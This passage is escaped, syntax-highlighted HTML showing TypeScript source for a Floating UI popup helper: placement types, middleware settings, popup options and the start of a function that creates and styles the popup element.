class=\"nx\"\u003eDirection\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;top\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;bottom\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;left\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;right\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eexport\u003c/span\u003e \u003cspan class=\"kr\"\u003etype\u003c/span\u003e \u003cspan class=\"nx\"\u003ePlacement\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eDirection\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"sb\"\u003e`\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003eDirection\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e-start`\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"sb\"\u003e`\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003eDirection\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e-end`\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Options \u0026amp; Middleware\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kr\"\u003eexport\u003c/span\u003e \u003cspan class=\"kr\"\u003einterface\u003c/span\u003e \u003cspan class=\"nx\"\u003eMiddleware\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Required ---\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"cm\"\u003e/** Offset middleware settings: https://floating-ui.com/docs/offset */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eoffset?\u003c/span\u003e: \u003cspan class=\"kt\"\u003enumber\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"nx\"\u003eRecord\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003estring\u003c/span\u003e\u003cspan class=\"err\"\u003e,\u003c/span\u003e \u003cspan class=\"na\"\u003eunknown\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Shift middleware settings: https://floating-ui.com/docs/shift */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eshift?\u003c/span\u003e: \u003cspan class=\"kt\"\u003eRecord\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003estring\u003c/span\u003e\u003cspan class=\"err\"\u003e,\u003c/span\u003e \u003cspan class=\"na\"\u003eunknown\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Flip middleware settings: https://floating-ui.com/docs/flip */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eflip?\u003c/span\u003e: \u003cspan class=\"kt\"\u003eRecord\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003estring\u003c/span\u003e\u003cspan class=\"err\"\u003e,\u003c/span\u003e \u003cspan class=\"na\"\u003eunknown\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Optional ---\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"cm\"\u003e/** Size middleware settings: https://floating-ui.com/docs/size */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003esize?\u003c/span\u003e: \u003cspan class=\"kt\"\u003eRecord\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003estring\u003c/span\u003e\u003cspan class=\"err\"\u003e,\u003c/span\u003e \u003cspan class=\"na\"\u003eunknown\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Auto Placement middleware settings: https://floating-ui.com/docs/autoPlacement */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eautoPlacement?\u003c/span\u003e: \u003cspan class=\"kt\"\u003eRecord\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003estring\u003c/span\u003e\u003cspan class=\"err\"\u003e,\u003c/span\u003e \u003cspan class=\"na\"\u003eunknown\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Hide middleware settings: https://floating-ui.com/docs/hide */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003ehide?\u003c/span\u003e: \u003cspan class=\"kt\"\u003eRecord\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003estring\u003c/span\u003e\u003cspan class=\"err\"\u003e,\u003c/span\u003e \u003cspan class=\"na\"\u003eunknown\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Inline middleware settings: https://floating-ui.com/docs/inline */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003einline?\u003c/span\u003e: \u003cspan class=\"kt\"\u003eRecord\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003estring\u003c/span\u003e\u003cspan class=\"err\"\u003e,\u003c/span\u003e \u003cspan class=\"na\"\u003eunknown\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eexport\u003c/span\u003e \u003cspan class=\"kr\"\u003einterface\u003c/span\u003e \u003cspan class=\"nx\"\u003ePopupSettings\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Provide the event type. */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eevent\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;click\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;hover\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;focus-blur\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;focus-click\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Match the popup data value `data-popup=\u0026#34;targetNameHere\u0026#34;` */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etarget\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Set the placement position. Defaults \u0026#39;bottom\u0026#39;. */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eplacement?\u003c/span\u003e: \u003cspan class=\"kt\"\u003ePlacement\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Query elements that close the popup when clicked. Defaults `\u0026#39;a[href], button\u0026#39;`. */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003ecloseQuery?\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Optional callback function that reports state change. */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003estate\u003c/span\u003e\u003cspan class=\"o\"\u003e?:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eevent\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"nx\"\u003estate\u003c/span\u003e: \u003cspan class=\"kt\"\u003eboolean\u003c/span\u003e \u003cspan class=\"p\"\u003e})\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"k\"\u003evoid\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/** Provide Floating UI middleware settings. */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003emiddleware?\u003c/span\u003e: \u003cspan class=\"kt\"\u003eMiddleware\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eexport\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003epopup\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e: \u003cspan class=\"kt\"\u003eHTMLElement\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eargs\u003c/span\u003e: \u003cspan class=\"kt\"\u003ePopupSettings\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Local State\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003epopupState\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eopen\u003c/span\u003e: \u003cspan class=\"kt\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// eslint-disable-next-line @typescript-eslint/no-empty-function\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003eautoUpdateCleanup\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003efocusableAllowedList\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;:is(a[href], button, input, textarea, select, details, [tabindex]):not([tabindex=\u0026#34;-1\u0026#34;])\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"nx\"\u003efocusablePopupElements\u003c/span\u003e: \u003cspan class=\"kt\"\u003eHTMLElement\u003c/span\u003e\u003cspan class=\"p\"\u003e[]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Elements\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e: \u003cspan class=\"kt\"\u003eHTMLElement\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003esetDomElements\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"k\"\u003evoid\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003edocument\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003equerySelector\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sb\"\u003e`[data-popup=\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etarget\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e\u0026#34;]`\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e??\u003c/span\u003e \u003cspan class=\"nb\"\u003edocument\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecreateElement\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;div\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nb\"\u003eObject\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eassign\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estyle\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eposition\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;absolute\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eopacity\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;0\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etop\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;0\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eleft\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;0\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003escale\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;0.95\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003edisplay\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;none\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e})\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eclassList\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;transition-all\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;duration-100\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;ease-in-out\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003esetDomElements\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"c1\"\u003e// init\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Render Floating UI Popup\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003erender\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"k\"\u003evoid\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Error handling for required Floating UI modules\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003ethrow\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nb\"\u003eError\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sb\"\u003e`The data-popup=\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etarget\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e\u0026#34; element was not found.`\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nx\"\u003ecomputePosition\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003ethrow\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nb\"\u003eError\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sb\"\u003e`Floating UI \u0026#39;computePosition\u0026#39; not found for data-popup=\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etarget\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e\u0026#34;.`\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nx\"\u003eoffset\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003ethrow\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nb\"\u003eError\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sb\"\u003e`Floating UI \u0026#39;offset\u0026#39; not found for data-popup=\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etarget\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e\u0026#34;.`\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nx\"\u003eshift\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003ethrow\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nb\"\u003eError\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sb\"\u003e`Floating UI \u0026#39;shift\u0026#39; not found for data-popup=\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etarget\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e\u0026#34;.`\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nx\"\u003eflip\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003ethrow\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nb\"\u003eError\u003c/span\u003e\u003cspan 